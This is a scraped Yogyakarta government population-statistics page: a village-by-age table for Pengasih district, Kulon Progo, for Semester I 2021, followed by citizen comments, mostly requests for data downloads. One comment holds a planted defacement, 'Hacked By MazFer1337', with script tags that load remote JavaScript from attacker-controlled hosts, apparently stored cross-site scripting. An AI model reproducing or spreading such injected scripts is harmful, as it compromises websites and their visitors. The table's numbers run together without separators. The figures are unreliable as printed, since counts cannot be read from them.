Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN PENGASIH, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaTAWANGSARIKARANGSARIKEDUNGSARIMARGOSARIPENGASIHSENDANGSARISIDOMULYOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4364 107125134 2595137 888272 15411188 199114123 2375553 108581 571 1.152
2 tahun3419 537374 1473832 704533 786570 1356470 1343131 62350 329 679
3 tahun2832 607777 1542926 554328 716170 1318475 1593324 57355 332 687
4 tahun3723 607761 1382927 563544 795361 1147754 1313332 65341 302 643
5 tahun3632 687792 1693132 635031 818157 1386785 1523839 77380 368 748
6 tahun5333 867676 1524022 624240 827852 1306463 1273137 68384 323 707
7 tahun3535 707576 1513328 613641 779065 1556564 1292729 56361 338 699
8 tahun4025 658585 1702624 504539 848384 1676270 1322546 71366 373 739
9 tahun5537 928985 1743031 614142 836574 1397375 1483839 77391 383 774
10 tahun2735 627288 1603634 705445 998365 1487577 1524631 77393 375 768
11 tahun3747 849689 1854132 734940 897477 1517869 1473430 64409 384 793
12 tahun4430 7410271 1733043 733146 778873 1618477 1613533 68414 373 787
13 tahun4235 779086 1762735 625040 907791 1687373 1465139 90410 399 809
14 tahun3436 709074 1644746 935043 938267 1497980 1593831 69420 377 797
15 tahun3228 608168 1492837 655050 1008468 1527958 1372733 60381 342 723
16 tahun3536 717391 1644329 724527 727677 1536970 1394129 70382 359 741
17 tahun4631 777871 1494229 714842 908968 1578076 1562234 56405 351 756
18 tahun3233 656692 1583440 745647 1037380 1535571 1263025 55346 388 734
19 tahun3343 767295 1673739 764738 857172 1437472 1462434 58358 393 751
20 tahun4643 898477 1612735 625049 999188 1797179 1503042 72399 413 812
21 tahun4450 949199 1903135 664253 956783 1506789 1563227 59374 436 810
22 tahun3936 756062 1222938 673845 837171 1426568 1333334 67335 354 689
23 tahun4038 787968 1472636 624037 777859 1376075 1354242 84365 355 720
24 tahun4040 809577 1723243 754038 787673 1497582 1575330 83411 383 794
25 tahun4227 697284 1563038 684747 947984 1639276 1683236 68394 392 786
26 tahun3738 757679 1553536 715956 1156684 1506268 1304540 85380 401 781
27 tahun3432 668569 1543533 684152 938057 1378974 1633847 85402 364 766
28 tahun3347 808170 1513140 714955 1047956 1355770 1275034 84380 372 752
29 tahun3726 637487 1613931 704655 1016978 1478074 1543034 64375 385 760
30 tahun3139 707687 1632732 595741 987968 1477476 1503841 79382 384 766
31 tahun3220 528884 1722526 513940 796565 1306568 1333531 66349 334 683
32 tahun3336 697274 1462723 503341 746263 1255669 1252839 67311 345 656
33 tahun2733 606992 1612429 535243 956466 1306062 1223921 60335 346 681
34 tahun3228 608077 1572626 525644 1005777 1345785 1422233 55330 370 700
35 tahun2632 587076 1462730 574145 866066 1268060 1403839 77342 348 690
36 tahun3848 8686106 1922737 643739 767371 1447483 1573942 81374 426 800
37 tahun3426 608771 1583144 754237 796262 1247373 1465539 94384 352 736
38 tahun2831 5998101 1992432 564241 836588 1537452 1264346 89374 391 765
39 tahun2931 608591 1763324 574051 917883 1617788 1653036 66372 404 776
40 tahun2621 4710566 1714131 725352 1057569 1447277 1493843 81410 359 769
41 tahun3540 756789 1563838 764645 916783 1507988 1674250 92374 433 807
42 tahun3534 698181 1624332 755241 938387 1708079 1594344 87417 398 815
43 tahun3926 658758 1452744 713830 687780 1575266 1184331 74363 335 698
44 tahun4231 737871 1493833 712846 746665 1316968 1374028 68361 342 703
45 tahun2746 737567 1423842 804046 866373 1367373 1463844 82354 391 745
46 tahun1727 446863 1312947 765434 888776 1638771 1582927 56371 345 716
47 tahun3125 565482 1363124 553448 827065 1357164 1354030 70331 338 669
48 tahun4338 817279 1513229 615044 948162 1437663 1393538 73389 353 742
49 tahun2233 556860 1283425 593654 905959 1185765 1223443 77310 339 649
50 tahun3438 727872 1502743 705249 1016960 1296080 1403842 80358 384 742
51 tahun4555 1007576 1514431 754941 909968 1677084 1543138 69413 393 806
52 tahun3348 817891 1693437 713948 875781 1385776 1333037 67328 418 746
53 tahun3831 697194 1653134 653860 986976 1458484 1684536 81376 415 791
54 tahun3037 676468 1322635 614038 785158 1095151 1023736 73299 323 622
55 tahun4433 776281 1433030 604150 915562 1176979 1483449 83335 384 719
56 tahun2531 566084 1443140 713740 776467 1317070 1403544 79322 376 698
57 tahun3336 697684 1603531 663743 806473 1375682 1383839 77339 388 727
58 tahun2336 595861 1191829 473749 865262 1145344 973335 68274 316 590
59 tahun2324 476259 1213120 512948 775971 1305860 1183240 72294 322 616
60 tahun2532 576762 1293623 593744 814952 1015552 1073945 84308 310 618
61 tahun3837 757983 1622836 644350 935565 1207069 1393847 85351 387 738
62 tahun3325 586153 1142716 433234 664456 1005153 1043822 60286 259 545
63 tahun3124 555045 952224 463328 615642 985353 1063936 75284 252 536
64 tahun2425 495247 992325 483123 543933 724742 892526 51241 221 462
65 tahun2323 464146 871024 343227 594853 1013235 672232 54208 240 448
66 tahun2520 454457 1012226 483232 644339 824453 972727 54237 254 491
67 tahun1914 333953 921423 372015 353834 723844 822333 56191 216 407
68 tahun189 273435 691321 342220 423433 674232 742826 54191 176 367
69 tahun1119 303230 621510 251527 423325 583528 632821 49169 160 329
70 tahun118 193438 721618 341422 361918 373126 573322 55158 152 310
71 tahun718 252949 78918 272219 411729 463351 842031 51137 215 352
72 tahun127 192724 511019 292123 442240 621732 492020 40129 165 294
73 tahun39 122128 492119 402216 381919 381327 401815 33117 133 250
74 tahun37 101820 381718 351415 292422 461110 21823 3195 115 210
75 tahun213 152023 431114 251517 321324 371423 371817 3593 131 224
76 tahun622 283134 651510 251421 351229 411838 561331 44109 185 294
77 tahun715 222018 38712 19168 241217 291820 381122 3391 112 203
78 tahun610 161733 50613 191112 231820 381317 301015 2581 120 201
79 tahun107 171524 39811 19117 18917 26128 20916 2574 90 164
80 ke atas5592 147114138 2523866 1044186 12783109 19288130 21877107 184496 728 1.224
Jumlah2.4392.4814.9205.4665.64211.1082.2842.4124.6963.1183.1496.2674.9594.9749.9334.9035.14010.0432.6902.7905.480 25.859 26.588 52.447
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih